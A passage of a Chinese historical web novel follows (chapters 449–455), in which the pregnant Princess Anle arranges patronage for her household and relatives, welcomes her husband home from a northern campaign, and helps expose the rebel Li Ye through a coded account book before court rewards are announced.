许昭昭可不管他们夫妻二人感情如何了,这等小事,由着他们自己去折腾。 丁香给许柱子生了个大胖小子,可把许柱子给高兴坏了。 许昭昭也高兴,以后自己的孩子也可以有个玩伴了。 许柱子欢欢喜喜地过来报信,跪在地上不起来:“主子,您有学问,劳烦您给孩子取个名吧。” “孩子的祖父尚在,当由他来取名才是。” “嘿嘿,我爹说了,他斗大的字不识一箩筐,做不来这等事,所以还是想请主子给赐一个。” “也罢,那可有什么讲究?” 许柱子摇头:“没有。只要不与主子们犯了忌讳就行。” 许昭昭这才想到,许柱子是许家的家生子,并不像是普通百姓家那般自由。 “你希望你的儿子日后是从文还是从武?” 许柱子立马昂首挺胸道:“小人希望以后儿子能从军,能跟咱们许家的国公爷似的,打胜仗!嘿嘿,当然,小的估计以后小主子出世了,也是要从武的,让他以后给小主子当护卫,鞍前马后,绝不含糊!” 许昭昭微微点头,有这个想法还是不错的。 也就是说,许柱子没想过让自己家人脱籍,也罢,日后再看,不急。 “既然如此,你以为叫承松如何?承诺之承,松柏之松。” “许承松?好名字!好名字!”许柱子一脸欢喜,很明显是真地很喜欢这个名字。 许昭昭笑着解释道:“承松出自《诗经·天保》中的‘如松柏之茂,无不尔或承’。寓意坚强与责任,象征男孩如松柏般坚韧不拔,担当有为。日后他定然会长成一名能为朝廷效力的松柏之材!” 许柱子听得不是很懂,但隐约知道是好话,赶紧磕头:“谢主子赏。” 许柱子回去后就把这件事学了一遍,许柱子的爹娘都很高兴,毕竟这可是郡主给起的名字,寓意也好着呢! 倒是丁香沉默片刻后问道:“主子最后一句说的,当真是盼着我儿能长成一名能为朝廷效力的松柏之材?” 许柱子拍手:“错不了!我记性好着呢。” 丁香眼神闪烁几下:“主子大恩呀!” 许柱子还不明白,其爹娘也是一脸疑惑。 丁香面带感激,情绪有些激动:“什么人才能为朝廷效力?” 一句话,便将几人给问住了,之后许柱子颤颤微微道:“当官?” 丁香眼中含着眼泪笑出声来。 “是呀,主子有意提携咱们一家子,咱们也不能给主子蒙羞,往后你再办差,可要着实上心一些。日后咱们儿子就给小主子当个小厮,那前程也是不可限量的!” 第450章 天子威仪 许昭昭现在是对万事都提不起精神来,肚子大,所以不想动,但是几位嬷嬷轮番来劝,越是月份大了,越是要时常走动,这样生产的时候才能少受些苦。 许昭昭知道她们是好意,毕竟人家不知道她有异能。 无奈之下,只能是天天在锦绣园里走一走,尤其是用过午膳后,更不能立马就睡,否则只会长肉,让自己身子沉重。 终于等到三月初,大军回朝。 许翰要回来交付帅印,而方大壮和齐云泽则是暂时留守许州,还需要做进一步的交接。 其实说白了,就是要确保许州的稳定。 谢铮担心妻子,所以在离京城不足五百里时,他便请示过许翰之后,加快脚程,先一步回京。 当然,许翰为了让他光明正大地先回去,特意交给他一个任务,让他将一份战利品送至御前。 而这份战利品,其实就是当初撺掇着室韦和靺鞨闹腾起来的一些书信,幕后之人,正是高丽王。 这份证据可是相当重要的。 现在的高丽正是如同被人掐住了喉咙,半个字都不敢喊,生怕出一丁动静就能被大兴朝的将士们给盯上。 毕竟谁能想到,这么快的速度直接灭了两个国呀! 你战斗力再强,那也是两个国呀,而且都是从小就长在了马背上的草原骑兵被灭了,谁不害怕? 毫不夸张地说,现在对于周边小国们而言,许翰就是一个活阎王的存在。 你看看人家陆晋,他带兵打仗的时候,好歹是给留有余地呀。 这许翰可不管,上去就是真下死手呀。 你以为室韦不想先投降吗? 是因为许翰压根儿没给他们机会呀! 如果当初识相一些,兴许还能保留原名,只让大兴在那边弄个什么都护府之类的。 现在好了,直接把国家给打没了,改名许州了,这都已经是大兴的州府了,日后还要设立相应的衙门公廨,再想复国,那简直就是做梦! 谢铮一路疾驰,先一步进宫面圣。 看着现在这灰头土脸,胡子拉碴的谢铮,永安帝的嘴角微微抽动一下,这仗都打完几个月了,怎么还能弄得这么狼狈? 永安帝看过这些密信之后,微微点头:“你们做的不错,这些都暂且保存好,若是高丽王再不老实,朕也不介意直接横扫过去!” 为啥底下的臣子勇猛无敌? 就是因为帝王霸气呀! “陛下圣明!” “你这是打算回府?” “是,臣听闻内子的预产期也快到了,所以有几分担心。” “安乐的确是快要做母亲了,你日后要好好待她。” “是,陛下。” “回去后,别急着去见安乐,先把你自己收拾一下,跟个乞丐似的。怎么给弄成这样?按说许翰可是你的岳父,他也不管管?” 谢铮嘿嘿一笑,竟有几分憨傻之相。 永安帝白他一眼:“下去吧。” “谢陛下。” 谢铮还真是听话,回府后,先到自己的书房那边沐浴更衣,折腾了差不多快一个时辰,这才头发湿漉漉地出现在了许昭昭面前。 头发还是散着的,其实不滴水了,但是因为湿着,所以不便束发。 “快进来,虽说是春天了,可你这样也不行呀!你在何处沐浴的?怎么这般大意?万一受风生病了怎么办?” 也是许昭昭贪睡些,所以才刚醒没一会儿呢,真不知道谢铮回来了。 谢铮将人抱住,然后小心翼翼地避开她的肚子,扶着她慢慢挪回到榻上。 “你们都下去吧。” 芍药等人都各自偷笑,知道世子回来,以后主子跟前伺候就用不着她们了。 “你回来了,我父亲和二哥是不是也回来了?” 谢铮揽住她的肩:“没有,我是因为有一份证据要呈至御前,所以回来得快一些,他们估计还要再走几日,主要是还押着一大批的王公贵族呢。” “嗯?室韦和靺鞨的战俘?” “对。除此之外,还有几位武将,那些人可不能让他们留在许州,否则容易生变。” “我以为你们会把那些武将都杀了。” 谢铮笑道:“我是有这个心思,不过岳父大人说不可,还要带回去几个,尤其是有分量的那种,越是能带回去交给陛下处置,越是能体现出我大兴的威仪。” 许昭昭挑眉,是体现陛下的威仪吧? 她父亲好像还真的是特别忠君。 行吧,明君嘛,可以忠,但是父亲这次回来还能再顺利躲懒吗? “怎么样?孩子有没有闹你?可有哪里不舒服?” 许昭昭摇头,随后又道:“你帮我按按腿吧,一走路就会累,可是如果走路少了也不舒服。” “好,我帮你揉揉。” 谢铮回来的消息,整个护国公府都传遍了。 但是一直等到晚上,府上其它人才算是见到谢铮了。 比以前瘦了,好像没有再变黑,而且皮肤也不像是以前那样变得粗糙。 谢啸林是见过儿子在战场上的丰姿的,自然会关切地多问几句。 得知那边的风沙大,但是因为他和许翰、许君锋都有许昭昭特意给他们调的药膏后,便明白为什么这次儿子的变化没有那么大了。 “药膏?” 谢啸林有几分怀疑,别不是什么女子用的香膏吧? “真是药膏!抹上去之后,一股子药味儿,不仅我们几个用,而且还能一些得了冻疮的将士们用,效果很好。” 谢啸林倒是觉得这是好东西,能治冻疮,而且还方便携带。 “你们带去的多?” “刚开始带的不算多,后来昭昭得知生冻疮的人多,所以又命人给我们送了一箱子过去。也是因为这一箱子药膏,可是帮了我们大忙。有些士兵的手都肿成萝卜了,抹了三天药膏之后,便消了肿,而且也不怎么疼和痒了,这也等于是变相得提升了我们的战斗力。” 谢啸林点头笑道:“你媳妇果然就是个福星。” 谢铮微怔,不太知道这是怎么回事,但说媳妇是福星,这话他愿意听。 “回来的时间还是刚刚好,你媳妇也快要生产了,既然暂时无事,你也少出门,多陪陪你媳妇,她也辛苦。” 第451章 你如何选? 不用谢啸林交代,接下来的几天,谢铮都没出锦绣园的门。 小林氏私底下还酸呢,说许昭昭真是有迷惑人的手段,如今肚子都那么大了,还只知道勾着男人。 这话无意中被谢啸威听到一回,立马训斥她一番,还骂她若是再不知收敛,日后就别再出屋门一步。 小林氏自觉受了委屈,可是这种事,她又不好摆到台面上请别人来帮自己评理,所以只能是生受了,但是心里却是越发地厌恶许昭昭了。 四房的事,许昭昭并不上心,反正也跟她无关。 而且日后若是老太太没了,这二房四房都是要搬出去的。 况且现在他们都住在这国公府里,原本就是他们长房吃亏。 许昭昭的肚子很光滑,没有出现黑线或者是一些妊娠纹,谢铮不懂这些,只以为每个女人都是这样。 而于嬷嬷、徐嬷嬷二人则是感叹孙神仙给的药好,竟然能让孕妇的肚子上不留任何的纹路,日后生产完,想必主子也能恢复如初。 思及此,二人愈发觉得主子是有福之人,而她们跟在主子身边,自然也是可以沾到福气的。 先不说许昭昭生产之事,只说郑拓这次立功回来,少不得要有一番封赏,而且,他和谢婵的婚事也该办了。 自打去年至今,许昭昭对李顺的考察也还算是可以,想到之后郑拓要升官甚至是封爵,而谢娟的夫君却只是一个小小的国子监主簿,这委实过低了些。 所以,许昭昭把自己的打算跟谢铮商量了一下,然后想着要如何合理地将李顺利用起来。 此人有才,却非大才。 而且李顺还算是老实本分,也没有其它特别拿得出手的东西,不像是其它的才子们,这个擅诗,那个擅画,所以,就显得平平无奇了些。 事实上,朝廷里,还是像李顺这样的官员才是大多数。 哪有那么多的文人才子呀! “你想让李顺离京?” “有这个想法,你可还记得豫州?” 谢铮微微拧眉:“记得,豫州还算是富庶,而且那里有不少的邓氏族人吧?” “不错。而且我观察李顺其人,不擅长自己攻伐,倒是最擅打辅助。类似于你们在战场上时的援军,所以,我想着将他调至豫州,任豫州长史,你以为如何?” 豫州是中州,而中州长史,是正六品上,比他现在的官职可高了好几级! 国子监主簿只是一个从七品下的官员,再往上还有从七品上、正六品下,所以到正六品上,那等于是一下子升了三级。 关键是,这是实权职位。 而李顺年纪不大,能坐上这么高的职位,相当不错了。 “他的年纪,坐这个职位是否过了些?” “放心,他至少要在这个职位上待三年,之后就算是我将他调至京城,也只会是平调,不会一直给他升官,他的性子和手段,都压不住。” 谢铮点头,知道妻子这么说,那一定是早有想法了。 “那你看着安排,这方面,我不如你。而且我也觉得你看人的眼光比我准。” 许昭昭笑了,不是她看人的眼光准,是她知道就算是对方敢背叛,她也有法子收走对方的命。 更何况,上辈子在死人堆里挣扎出一条活路来的她,这眼睛的确是毒得很。 李顺带着谢娟过来请安,此时的谢娟也已经有了身孕,但是月份还浅,所以许昭昭在考虑着要不要让谢娟陪他一起上任这件事。 去豫州,可不近。 所以,许昭昭还是决定再试李顺一次。 “妹妹给兄长、嫂嫂请安。” 李顺也跟着作揖:“给世子、世子夫人请安。” “都是自家人,不必如此客气,快坐。” 许昭昭发话,谢铮也做了一个请坐的手势。 闲话几句家常之后,许昭昭便命人带着谢娟下去见她的宋姨娘,二人说说体己话,另一边,许昭昭则是开始了自己的最后一次试探。 “妹夫,你如今有妻,也即将有子,上面还有一位母亲要奉养,一位弟弟需要你来操持他日后的婚事。所以,你是如何想的?” 李顺明白,今日来的真正原因就在于此。 “回郡主,我也没什么想的。只要家人平安顺遂,我便满足了。” “可若是无人护着他们,怎能平安顺遂?” 李顺一噎,之后讷讷道:“郡主说的是,只是我才学浅薄,实在是……” 后面的话无需说出口,谢铮也能明白。 “谢娟如今怀胎几月了?” “回郡主,已经五个月了。” 许昭昭点头,差不多就是成婚之后就怀上了。 “若是让你外任,但是官升三级,坏处便是离京太远,你可愿意?” 不待李顺回答,她又道:“是我的错,不该如此问。若是我可以帮你谋个更好的差事,官升一阶,只是仍然是处半闲不闲之职,但好处便是可以留在京中,只是若是无功无绩,日后晋升会有些困难。这两者之间,你当如何选择?” 李顺手心都冒汗了,他明白,这是郡主对他的考验。 若是他真选了京中的职位,兴许郡主会觉得他是一个胸无大志之人,一辈子也就只配庸庸禄禄地活着,那还如何谋求前程? 但他若是选了官升三级,会不会让郡主觉得他为人冷血,丝毫不顾及家人呢? 许昭昭也不催他,只是静静地等着,一旁的谢铮则是把玩着她的手指,好奇娘子的肚子那么大,为何这手指上还是没有肉呢? “回禀郡主,一切全凭郡主安排。我李顺自知能力有限,但若是能帮到郡主,必然是愿意竭尽全力,绝无怨言!” 许昭昭笑了,去年还有些生瓜蛋子样的李顺,如今总算是学会了‘圆滑’二字。 果然,现实是最能教人学会何为规矩的。 “既然如此,那也好。不过如今七妹妹怀着身孕,若是陪你一起赴任,怕是不太妥当。但若是让你们夫妻二人两地分居,这也是不合适,毕竟你们去岁才新婚。” “但凭郡主驱使!至于娘子,可以等她生产之后,再辛苦国公府的人帮忙护送一趟,下官自是感激不尽!” 第452章 见他作甚! 许昭昭点点头:“也好。此事也不是急于一时的,你回去后可再慢慢考虑,三天后再给我个准信儿便是。” “是,郡主。” 李顺这次过来,也算是看明白了。 整个护国公府,最有话语权的不是护国公,也不是世子爷,而是这位安乐郡主! 就看着现在世子爷一边小心翼翼地给郡主剥着果子,一边又偶尔帮郡主擦一下嘴角,再递个茶的,总之,就是妥妥的一副下人作派。 李顺低头,突然间对这位世子爷的惧意就弱了些。 当然,他对许昭昭的敬重,也更多了。 李顺回去后,就把这件事跟谢娟说了。 无论如何,总归是借了岳家的势,所以,还是要跟妻子商量,她的意见也要听一听,免得后院起火。 谢娟自然是不懂这些,但是她心里高兴呀! 她以为夫君至少还得再在这个位置上待上三五年呢,没想到转头嫂嫂就给安排上了。 这次郑拓也跟着回京,而且听说功劳不小,所以,谢娟自以为自己的夫君在官职以及权力方面,显然是比不过谢婵了。 原本心里还有几分委屈,从小到大,她和谢婵的关系不错,但是同为姐妹,若是夫君的差距太大,她心里自然也是有落差的。 “夫君,一切以你的志向为主。你想如何都可以,只是若是离京远赴,妾如今怕是难以跟随服侍。” “无妨,我也同郡主提到了,可以等你生产后,再由护国公府的护卫将你送去我的任地。郡主也答应了。” 谢娟微微一笑,脸上全是甜蜜幸福。 “夫君还能想着妾,妾心中甚慰。” 李顺也很高兴,妻子贤慧,且礼仪周全,这让他很省心。 实话实说,自打娶了谢娟进门,家中的一些琐事,基本上也都是由她在打理,而且井井有条,婚后家中的伙食也明显上升一层,尤其是弟弟,这个子都蹿高了一截。 其实李顺也不是很明白,正好借着现在这个机会,好好问问。 “娘子,我家门第虽然不高,但衣食还是无忧的。我知娘子嫁妆丰厚,但那都是你的陪嫁,我是男子,又有差事在身,不可让娘子用嫁妆来贴补。” “夫君为何这样问?” 李顺将自己心头的疑惑问出来,没想到却是换来妻子一笑。 “夫君高看妾了。妾的嫁妆未动,除了年节时与娘家那边走礼时动用了一点点,其它的都未动。至于咱们家中的衣食住行,用的都是咱们家公中的银钱。” “你确定?” “自然,妾不敢欺骗夫君。” “可是以前我母亲管着这些,总说银钱不丰,你怎么?” “之前的两家铺面,一家是做布匹生意,还有一家是做书斋的,妾接手后,便与嫂嫂那边搭上话,之后布匹进的七成都是嫂嫂手中的织坊里出来的布,进价便宜,主要是因为嫂嫂用的可是工部织坊同样的织机。 至于书斋那里,妾同嫂嫂商议之后,便从嫂嫂那里先借来了一台印刷机用,另外的纸张,也都是由许管事帮忙引荐的几家新的造纸坊。咱们以前供货的那家纸坊价格给抬得太高,不合适。” “仅仅如此?” “咱们家还在远处有两百多亩田地,妾身看着这上面的收成不对,所以便派人去核实了。最终查出来那里的庄头前前后后总共贪了咱们家两千贯钱!两千贯呐!妾当时跟您提过的,可还有印象?” 这好像是年前的事。 李顺仔细想想后点头:“好像是有这么回事。但我当时也没听全,只说让你做主便是。” “对,所以后来妾便命人将几个目无主子的恶仆直接送官了。这两千贯钱也都弄回来了,另外,还有布庄那边的掌柜,被查账后,自己主动交代了,前后收了些好处,私底下又昧了些银钱,但是因为数目不太大,所以妾未曾送官,只是将他给罢了差事,另外换了一个咱们李家的家生子顶上去了。” 李顺呆怔片刻,眨眨眼,所以说,如今家中这日子好过,完全就是因为以前母亲掌家时,被人给骗了? 且两千贯钱要回来,足够他们一家子吃喝提升一个档次了! 李顺吐气道:“幸而娶了你这位贤妻,否则,我还不知竟是在眼皮子底下养了噬主的恶仆!” “夫君过奖了,主持内宅,而且婆母也将这些都交给妾,便是信得过妾,也是妾应该做好的。” 李顺笑着在她脸上亲了一口,“得妻如此,夫复何求!” 谢娟抿唇害羞得笑着轻捶他一下。 此时的谢娟是无比感激嫂嫂,若非是她之前特意安排人教她们如何管家,尤其是如何看账簿、如何查账、如何威慑下人等等。 成亲后她才发现,果然,这正妻与小妾,那真是天差地别的。 小妾就算是再得宠,也只是妾,家中产业、中馈,没有一样是有资格插手的,等到年老色衰,便什么都没了。 谢娟想到自己的姨娘,再想想谢乔,自然就能明白这其中的差异了。 许昭昭对李顺的安排,也不急于一时,而且要想不被人看出痕迹,那就得慢慢筹谋,在最恰当的时机,把李顺给推上去,就显得不那么刻意。 当然,还是要考虑到方方面面的利益问题。 许昭昭临盆日期将近,所以谢铮也不愿意让她再操心,更不愿意让她再见外面的一些人。 “启禀世子爷,长安令刘大人在外求见。” 谢铮微微蹙眉:“来求见我还是少夫人?” 小厮低头:“回世子爷,应该是来求见少夫人的。小的见其手中还拿着一卷册子,具体是何物,小的不知。” “嗯,他有说是要紧事?” 小厮更紧张了,手心都开始冒汗:“他说有要紧事。” “行了,你何必为难他!去,请刘大人进来说话。” “是,少夫人。” 小厮立马觉得全身一松,赶紧出去了。 许昭昭这会儿在芍药和紫苏的搀扶下已经到了亭子里,谢铮将剑收起,随手一扔,被剑七接下后退至一旁。 “见他作甚?他不是肃国公的亲戚吗?” 第453章 你立功了 很显然,谢铮对肃国公府一家没什么好感。 这种厌恶,与在朝堂上是否对立无关,就是单纯地看不起肃国公府的任何一个人。 许昭昭笑着招呼他过来坐:“刘起这个人还是很不错的,有能力、有脑子,最重要的是,能精准地抓住每一个机会,而且,他聪明!” 谢铮这人吧,最大的优点,就是听老婆话。 许昭昭见他的脸上已经没有那么明显的排斥情绪了,这才笑了。 多可爱的男人呀! 刘起手中的确是拿着一卷册子过来的,就这样明目张胆地拿着过来,十有八九是有正大光明的理由。 “下官刘起见过郡主。” “免礼。” “谢郡主。” 刘起刚上前走两步,注意到瞪着自己的一双视线后,又微微挑眉,然后作揖道:“下官见过谢世子。” “免了。” 许昭昭低头偷笑,之后又清一下喉咙:“刘大人今日来,所为何事?” “不敢期瞒郡主,这是今日早上有人送到公廨来的,说是无意间捡到的您名下香飘飘店里的账册,下官不敢擅专,所以特意请了香飘飘的掌柜来辨认,但他说这与他们铺面无关,然后拾到者却坚称这就是香飘飘店铺的账册,下官一时间不知该信哪一个,所以特意来请教郡主。” 有意思! 看样子,这是冲她来的。 “拿来我看!” 刘起将账册呈上,紫苏接过来放到石桌上。 一旁的谢铮直接翻开第一页,然后看向妻子。 许昭昭没说话,表情略微有些凝重,之后又示意谢铮翻了三四页之后,许昭昭脸上的表情越来越凝重。 “刘大人,送账册来的人可还在公廨?” 刘起立马作揖:“回郡主,还在。” “老天爷都在帮你呀,刘起,这次又将立功,能不能升迁,就看你自己的造化了。” 刘起一时间有些糊涂,完全不明白是什么意思。 “你即刻那个捡到账册的人进宫,只说是有人找到了李烨的下落,一会儿我二叔自会带着这卷账册入宫。” 刘起先是一惊,随即还真有几分喜。 要知道李烨自称是福王后人,但上次让他给跑了,虽说是狼狈逃蹿,但总归是跑了。 所以陛下一直都在惦记此事。 如今,总算是有李烨的消息了,自然要第一时间禀报陛下。 “敢问郡主,您说的二叔?” “自然是信国公的弟弟。” “下官明白了,下官告辞。” 谢铮也让剑七即刻去请许文过府一叙,并且提醒要让对方快马加鞭,免得误了正事。 许昭昭将这账册中所隐含的秘密告知二叔,并且一再强调,就说当初是他安排人一路追着李烨的行踪,当时主要是害怕他们一行人会对信国公不利,所以才会脑子一热,做事冲动。 许文多聪明呀,立马听明白了这其中的关键。 “那咱们潜伏在那边的人?” “二叔放心,那人只知自己的主子是许家人。” 许文点头:“如此甚好,昭昭,你这份情,我领了。待有机会,再好好谢你。” “二叔此话便客气了,咱们都是一家人,便是我嫁人了,您也是我二叔。” 许文笑笑,这话他爱听! 许昭昭原本就是家里头最聪明的孩子,原先还觉得她出嫁了,有些可惜,没想到这孩子倒是个有谋算的。 许文带着账册也急急入宫,正好在宫门口与刘起撞到一起。 刘起也不是个蠢人,回到公廨之后,还是喝了盏茶,又去净个手,然后才慢悠悠地带着那个捡到账册之人一起往皇宫的方向行进,正好,就与许文碰头了。 二人互点一下头,明白对方都是什么意思之后,便都不那么紧张了。 永安帝一听有李烨的消息了,自然是立马命人将几位重臣召入宫中商议。 “许文,当初何故想到要去追着李烨逃走的方向派人?” “回陛下,微臣听闻他逃蹿的方向正好与兄长作战的方向一致,担心他会带人在背后捅刀了,所以才多派了些人手去追,没想到他们后来又拐了弯,如今竟然还是我大兴境内,只是如今躲在山里,伪装成了盗匪。 微臣派出去的人,死了两个,伤了三个,余下两个则是入了那山匪窝做内应。这是总算确认了那个李烨的身份之后,才敢命人传消息回来。但是一路上又怕有人察觉,所以便将暗话写在了这账册之中,而且故意以报官的形式,如此,也可避开一些耳目。” 永安帝一听,瞬间了悟。 朝廷之中,定然还有人与李烨有所勾结,不然,许文不会如此小心。 想到上回李烨逃的那么及时,永安帝也赞同许文理当谨慎。 “此事办得不错,你们几人先退下。关于这消息来源,朕会暂时隐瞒,所以,你们几人的功劳,朕先记在心上。” “为陛下尽忠,不敢贪功。” “哈哈!好,退下吧。” “是,陛下。” 永安帝召进宫的重臣,自然都得是他绝对的心腹。 比如说崔玄明。 “陛下,李烨一个毛头小子,成不了什么气候,如今既知晓他的藏身之处,还是应当尽快派兵剿匪。” “你说的有道理,但是派何人前去呢?” 崔玄明没有犹豫,直接自荐:“陛下,微臣带兵去吧。此去必然要将李烨带回来,其实以微臣之见,带具尸体回来即可,他不可能是福王之后。” 一句话,便定了李烨是反贼的身份,同时,他也明白陛下要的,也是这样的答案。 如果李烨真是福王之后,那么陛下要不要宽恕? 所以,干脆从根上直接就给否了,说他是假借皇族后裔之名,妄图为自己谋取私利。 如此一来,李烨必会被万民唾弃,而陛下的明君形象也不会受损。 基本上没毛病。 永安帝又与其商谈了一些细节之后,让他将崔述带上,还有信国公世子许君安,也一并跟着去。 崔玄明知道陛下这是不想引人诟病,免得再以为这是陛下只用自己的亲眷来处置,到最后再被人找到攻诘的机会。 第454章 封赏 刘起也再次意识到,跟着安乐郡主做事,只要尽心尽力,不背叛,好处的确是一箩筐。 这样天大的功劳,郡主毫不犹豫地便让出来。 一份分给许文,一份分给他。 刘起不傻,知道这件事,由始至终,许文其实就是不知情的。 只是如今有了成果,所以安乐郡主才会想到让他知晓,把功劳揽下。 而且许文派人跟上去,一切都再合理不过,怕兄长被人背后捅刀子! 如今,功劳落到了他和许文头上,只等着那边的山匪剿灭,一切便成定局。 刘起想到自己如今还有着一个兼职呢,这次成了之后,兴许长安令这个位置就得让出来了。 刘起想到了自打他开始为安乐郡主做事之后得到的好处,自然是满心感激,因为事实上,他并没有为安乐郡主做什么太明显的事,只是可能偶尔一两句话上对安乐郡主多有关照,但这根本就起不到什么作用。 所以,现在如果他高升了,这长安令的人选? 刘起能想到的,就是郡主的三哥许君霆! 许君霆是实打实有功绩的,而且长安令这个职位,他也当得。 只是不知道,郡主究竟是否如此安排。 毕竟现在的许君霆,主要心思还是放在了皇庄那边,而且这两年的成果不错,连得陛下夸赞。 若是许君霆任长安令,不知他是否能压得住手底下这些个油滑属下们。 长安令这个职位,许昭昭不会给许家人的,谢家人也不行,原本就已经是手握重权的武将之家,如今还敢再掌控京畿实权? 那早晚是要惹陛下疑心的! 所以,许昭昭早就想好了人选。 一切,只等着崔玄明那里的消息了。 崔玄明带人离京三日后,许翰带着大军凯旋至京外十里处。 永安帝派了安王和忠王两个儿子一起去迎接大挥,以示重视。 两位亲王,这个面子可不小。 其实通过这一次许翰打仗的效率和成果,这两位王爷都想将许翰拉拢到自己的阵营里。 太猛了! 这样的猛将,而且儿子也是能文能武,若是能得到他的支持,绝对如同添一大助力。 可惜,许翰这样的人,实在是不好拉拢。 许翰进宫后,单膝跪地,主动上交了帅印。 大兴的军队如此,上交帅印后,许翰便不再是什么大总管,这底下的大军也不再听他调遣,之后,便是可各自回到自己的兵营或者是府兵处。 事实上,这一路上,已经散下去不少,如今在京外候着的,也不过才堪堪五万兵马。 很多兵马,都是沿途回去了,当初大军开拔的时候,也是这么一路征集过去的。 这一次的封赏,可是相当震撼的。 虽然比上一次北征带的人少,将领们也少,但是这一仗打得太快,也太漂亮了! 仗打快了,那么对于户部而言,压力就小。 关键是人家还带回来那么多的战利品,所以说这一仗既打出了国威,而且还能充实一下国库,何乐而不为? 顾东阳原本是做好了要至少筹集半年粮草的准备的,谁知道他们能打那么快,而且因为他们直接把室韦先灭了,所以连粮草方面的需求都少了。 到最后,还硬生生地弄回来那么多的牛羊、奴隶以及马匹等等。 “陛下,这次臣带回来的还是少数。大量的马匹都放在咱们朝廷的马场了,距离练兵场很近,而且还有一些羊群也被留在那里,以供咱们的将士们食用。” “做的不错!重重有赏!” “嘿嘿,谢陛下!” 就是这一声嘿嘿,直接让他威武大将军的形象破碎,俨然又成了那个熟悉的许木头。 永安帝直接在次日的早朝上宣布了封赏。 谢铮因立下首功,又是护国公世子,所以封勋上轻车都尉,同时,晋为上府折冲都尉,且命他入兵部历练;许君锋升为伯爵,加封羽林卫中郎将,方亮封男爵,并且封勋游骑将军;郑拓封游骑将军,从五品上,同时加封羽林卫郎将…… 许君锋和郑拓,都是羽林卫将官,但一个是中郎将,一个是郎将,这中间差了好几级。 这也不错了,郑拓的实职,已经到了正五品! 礼部官员念着长长一大串的人名和官职名,最得意的,便是朝中武将们了。 有仗打,就意味着还可以立功,可以给自己的家人争取机会。 他们倒是不觉得许翰这一仗打得太快了,毕竟再往外推进就是高丽国了,所以,这一仗打出大兴的威武来,才能起到震慑高丽的作用。 陛下给许翰升为了国公爵,再加上他还是十二卫之一的大将军,所以,于武将而言,他的晋升空间是真不多了。 但是许翰不以为意,当着满朝文武的面儿直接表示,以后但凭陛下差遣,他就是陛下手中的刀,扬我大兴国威,护我大兴边关! 永安帝高兴呀! 十二卫的大将军,几乎是人人都战功赫赫,便是他们手下的将军们,随便拎出一个来,都是斩杀过敌将的英雄。 永安帝不怕这些武将们立功,就怕这些们武将飘了才是真的。 “这次你们都辛苦了,朕特许你们每人可以回去与家人团聚十日,无需上朝上衙,一切以陪伴家人为主。” “谢陛下!” 谢铮早已经歇好几天了。 不重要。 既然陛下说了再歇十日,那他自然是乐得双手赞成! 而且入兵部历练这回事,他没想到真被许昭昭给说中了。 早在谢铮刚回来的第二天,两人就对着这次的战后赏赐做了一番预测,其中,他和许昭昭分歧最大的,一个是关于他的,再一个就是关于郑拓的。 但谢铮没想到,竟然两个都是许昭昭猜到了。 他以为陛下还会让他镇守太极殿的。 没想到,直接让他去兵部报道,难道是要他去接触军备后需? 陛下没有再给许翰升官,但是流水一般的赏赐都入了信国公府。 许翰和王若兰商议一番之后,还是拿出其中一部分来要给底下伤亡的士兵们一些补偿。 许翰也知道陛下的性子,所以直接就打着陛下的名义去办此事,故而,永安帝在军中的影响力,节节上升! 第455章 有想法了 许翰的所有动作都没有瞒着永安帝,甚至还特意进宫请了道旨意回来。 永安帝其实一直在考虑着如何解决那些伤亡的将士们如何安置,现在有许翰的提议,永安帝自然是直接答应,毕竟,旨意中并没有明确表示陛下会给多少的安家费等等,但是实际操作下来,他知道许翰一定会考虑到帝王的威仪。 果然,实际的运作中,户部拿出来的银钱米粮有限,还有一部分出自信国公府,但是许翰又特意表明,这是陛下的旨意,这些赏赐虽然看似是从他手里拿出来的,实际上他只是负责帮陛下做一下统计分配,因为当时他是主帅,他最了解下面的实际情况。 这话,自然是没人反驳。 这边的封赏结束,所有人都乐呵的,有摆酒宴的,有直接在外面的酒楼里请吃酒的,总之,整个京城都沉浸在兴奋且欢快的氛围中。 而刘府,此时的气氛则有些沉重。 因为孙茜之死,被牵连出来的齐二小姐的事,刘家现在还没有完全解决。 虽然那个小妾被处置了,但是刘大少的的确确做了宠妾灭妻的事,他的前程如何,两三年内是别指望了。 陛下可不是那么健忘的人。 再说,刘大少的正房妻子,如今可是还在娘家住着呢。 这说明了什么? 这件事情若是处理不好,以后整个刘家都会被贵族圈子的人鄙夷。 嫡庶之别,可不是说说而已。 你想想看,生在皇家的庶长子,就算是占了一个长子,但因为他不是嫡子,所以朝中支持他的人,可以说是寥寥无几,呼声最高的,还是安王李进。 正所谓上行下效。 皇家都如此重视嫡庶,你一个臣子家却干着宠妾灭妻的事儿,你这不是自己主动上前找不痛快嘛! 除了刘家之外,姜家的日子也不好过。 这种事,但凡是刘家一日不解决,姜家也别想着得安宁起来。 所以,无论是姜延平是否愿意,他都得帮着想办法解决。 最终的结果,就是姜家再次破财,主动让出来一处中等规模的田庄,然后送到了齐二小姐的手上,当然,刘家付出的代价更大。 齐家因此得到了大量的实惠,但最让齐家人觉得有脸面的,还是齐二小姐回到婆家后,将开始逐步接手婆母手中的权利,这一点,才是最重要的。 对于这些世家大族而言,谁手上有权利,谁说话就好使。 而且这次刘家将人请回去的时候,也注意到这位刘家的大少夫人身边又多了几位精明的管事嬷嬷。 这下子,刘家人是真老实了。 齐家人满意了,刘家将此事平息,之后还是要想办法将刘大少推入朝堂,并且也得到了姜家的承诺,所以虽然损失了些身外之物,但刘家也算是基本满意。 唯有姜家。 付出了代价不说,而且还要想办法利用自己手上的政治资源去给刘家搭桥,你说他心里头憋屈不? 不要以为姜家帮刘大少搭了线,刘家就会感激姜家,更不要以为刘家日后就会唯姜家马首是瞩。 因为这件事,从一开始就是姜家有错在先。 除此之外,朝堂上的事,可没有那么简单。 不是一两个好处给出去,人家就要跟你混了。 真要是这么简单,还玩儿什么谋略心机? 都舍银舍人的不就行了? 所以,姜家人才会觉得憋屈且愤怒。 姜宁才刚刚因为自己帮着忠王府赚到大量的银钱,因为这一次的事,在忠王那里的印象分又跌下来了。 等于是前面的努力白费! 姜宁气得连哭好几天,可是有什么办法? 现在所有人都在等着崔玄明的回归,因为只知道崔玄明带人出去了,具体去哪儿,知道的人少之又少。 等到崔玄明那边传回密信来之后,陛下将许翰和谢啸林、崔玄正给叫过来,一番安排之后,便将崔玄明的踪迹透露出去了。 因为消息的滞后性,所以当李烨这边的探子开始往外传消息的时候,其实李烨那里已经被围了。 一夜之间,京城又有六名官员、十余名小吏被下狱。 悄无声息的,就有二十多个家族要遭难了。 面对铁锤实证,这些人自然是辩无可辩,便是现在主动投诚,上官也不可能再信任他了。 